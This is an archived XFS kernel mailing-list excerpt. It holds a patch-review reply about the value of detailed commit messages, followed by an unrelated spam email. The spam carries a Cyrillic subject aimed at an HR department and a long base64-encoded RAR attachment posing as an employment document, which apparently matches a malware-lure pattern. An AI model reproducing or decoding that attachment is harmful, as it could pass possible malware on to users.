X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArgGAMj+QVJ5LCC0/2dsb2JhbABbgweDS7hhhT2BHxd0giUBAQU6HCMQCAMYCSUPBSUDIROIBLxYFo87B4MdgQADl3uKOYc/gzYq Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail05.adl6.internode.on.net with ESMTP; 25 Sep 2013 06:36:55 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VOZor-0000b7-SH; Wed, 25 Sep 2013 07:06:53 +1000 Date: Wed, 25 Sep 2013 07:06:53 +1000 From: Dave Chinner To: Mark Tinguely Cc: stable@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] xfs: v2 fix node forward in xfs_node_toosmall Message-ID: <20130924210653.GB26872@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: v2 fix node forward in xfs_node_toosmall References: <20130920220519.585903357@sgi.com> <20130923171911.273669684@sgi.com> <20130923234819.GW9901@dastard> <5241CD70.7050800@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5241CD70.7050800@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1380056841 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140892 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 24, 2013 at 12:35:44PM -0500, Mark Tinguely wrote: > On 09/23/13 18:48, Dave Chinner wrote: > >On Mon, Sep 23, 2013 at 12:18:58PM -0500, Mark Tinguely wrote: > >>Commit f5ea1100 cleans up the disk to host conversions for > >>node directory entries, but because a variable is reused in > >>xfs_node_toosmall() the next node is not correctly found. > >>If the original node is small enough (<= 3/8 of the node size), > >>this change may incorrectly cause a node collapse when it should > >>not. > > > >The comment about the size of the node triggering a collapse is > >irrelevant - nodes always collapse at that given size. What this > >doesn't tell us is why the crash occurs - "the next node is not > >correctly found" is not particularly obvious, and would require > >quite a bit of code reading to work out from first principles a > >couple of years down the track. > > > >The commit message should be more precise and describe what the > >underlying cause of the failure was. i.e. that the node is finding itself as the merge > >candidate because we go forward, overwrite the pointers and the new > >block's backward sibling is the original block which is where we end > >up on teh second loop. And vice versa if we go backwards first... > > > >Also, the "next node" is correctly termed a "sibling", and it's > >either the forwards or backwards sibling, not the "next" sibling as > >the direction of movement is important. So perhaps this > >is better written as: > > > >"When a node is considered for a merge with a sibling, it overwrites > >the sibling pointers of the original node with the sibling's > >pointers. This leads to loop considering the original node as a > >merge candidate with itself in the second pass, and so it > >incorrectly determines a merge should occur." > > > > Are you done ranting? Get the @#$% bug patched. I'm deeply sorry you feel that way about the review process - it's not just code that matters. Experience has shown us time and time again that accurate and complete commit messages are extremely valuable as they document the symptoms of a problem being fixed and why the fix was needed. If someone needs to look at this commit in a couple of years to determine if it matches a problem that a customer reported, they shouldn't have to work out what the problem was and guess at it's symptoms and impact from code analysis. The commit message should tell them all the information they need(*). It took you quite some time and effort to find the problem, so it's worthy of spending a few minutes to document that effort for posterity. That way when someone asks you a question about the problem, all you need to do is point them at the commit and all the information is right at their fingertips. I'm not asking you to do anything I don't do already. Have you ever wondered why I write long, verbose commit messages and changes with verbose comments? They aren't for the reviewer - I can answer questions in real-time about the change. The message is for someone looking at the change in 2-3 years time when when nobody remembers the exact circumstances of the fix anymore. IOWs, by clearly documenting the problem being fixed, the root cause analysis and verification that was performed *using standard terminology*, we make it far easier for someone to come along in 2-3 years time and understand the fix without needing any further information about it. Software engineering best practices have come a long way since the early 90's - writing meaningful commit messages to go along with your code changes has been considered a best practise for at least the last 10 years.... Cheers, Dave. (*) If you've ever spent any time looking at the old XFS archives, then you'll understand exactly why what I've asked for is important. Trying to reverse-engineer why a change was made in the old XFS code is just about impossible because all they generally have is single line commit messages and nothing else to describe the change. Sometimes they just point at a bug number, without any other information at all..... -- Dave Chinner david@fromorbit.com From notblond@acornbedandbreakfast.com Tue Sep 24 16:34:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5A0AC7F55 for ; Tue, 24 Sep 2013 16:34:32 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9E5CBAC005 for ; Tue, 24 Sep 2013 14:34:31 -0700 (PDT) X-ASG-Debug-ID: 1380058465-04cbb02c3c13a2150001-NocioJ Received: from mail.nptus.ru (mail.nptus.ru [94.125.244.12]) by cuda.sgi.com with ESMTP id ddmir5nRZvDEVWI9 for ; Tue, 24 Sep 2013 14:34:26 -0700 (PDT) X-Barracuda-Envelope-From: notblond@acornbedandbreakfast.com X-Barracuda-Apparent-Source-IP: 94.125.244.12 Received: from [211.119.86.144] (helo=Unknown) by mail.nptus.ru with esmtpa (Exim 4.80.1 (FreeBSD)) (envelope-from ) id 1VOaFO-0006Me-Uv; Wed, 25 Sep 2013 03:34:24 +0600 Message-ID: <933E0C6E521D443EA37B6B0EBF69C194@mtbep> Reply-To: =?windows-1251?B?yM3Rz8XK1sjfINLQ08TA?= From: =?windows-1251?B?yM3Rz8XK1sjfINLQ08TA?= To: , , , Subject: =?windows-1251?B?wiDu8uTl6yDq4OTw7uI=?= Date: Tue, 24 Sep 2013 23:34:27 +0200 X-ASG-Orig-Subj: =?windows-1251?B?wiDu8uTl6yDq4OTw7uI=?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_097F_01CEB97E.9BF7CFD0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 16.4.3505.912 X-MimeOLE: Produced By Microsoft MimeOLE V16.4.3505.912 X-Barracuda-Connect: mail.nptus.ru[94.125.244.12] X-Barracuda-Start-Time: 1380058466 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140893 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_097F_01CEB97E.9BF7CFD0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0980_01CEB97E.9BF7CFD0" ------=_NextPart_001_0980_01CEB97E.9BF7CFD0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =C2 =EE=F2=E4=E5=EB =EA=E0=E4=F0=EE=E2 ------=_NextPart_001_0980_01CEB97E.9BF7CFD0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
    =C2 =EE=F2=E4=E5=EB =EA=E0=E4=F0=EE=E2 ------=_NextPart_001_0980_01CEB97E.9BF7CFD0-- ------=_NextPart_000_097F_01CEB97E.9BF7CFD0 Content-Type: application/octet-stream; name="=?windows-1251?B?0tDTxM7CwN8gys3IxsrALnJhcg==?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?0tDTxM7CwN8gys3IxsrALnJhcg==?=" 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 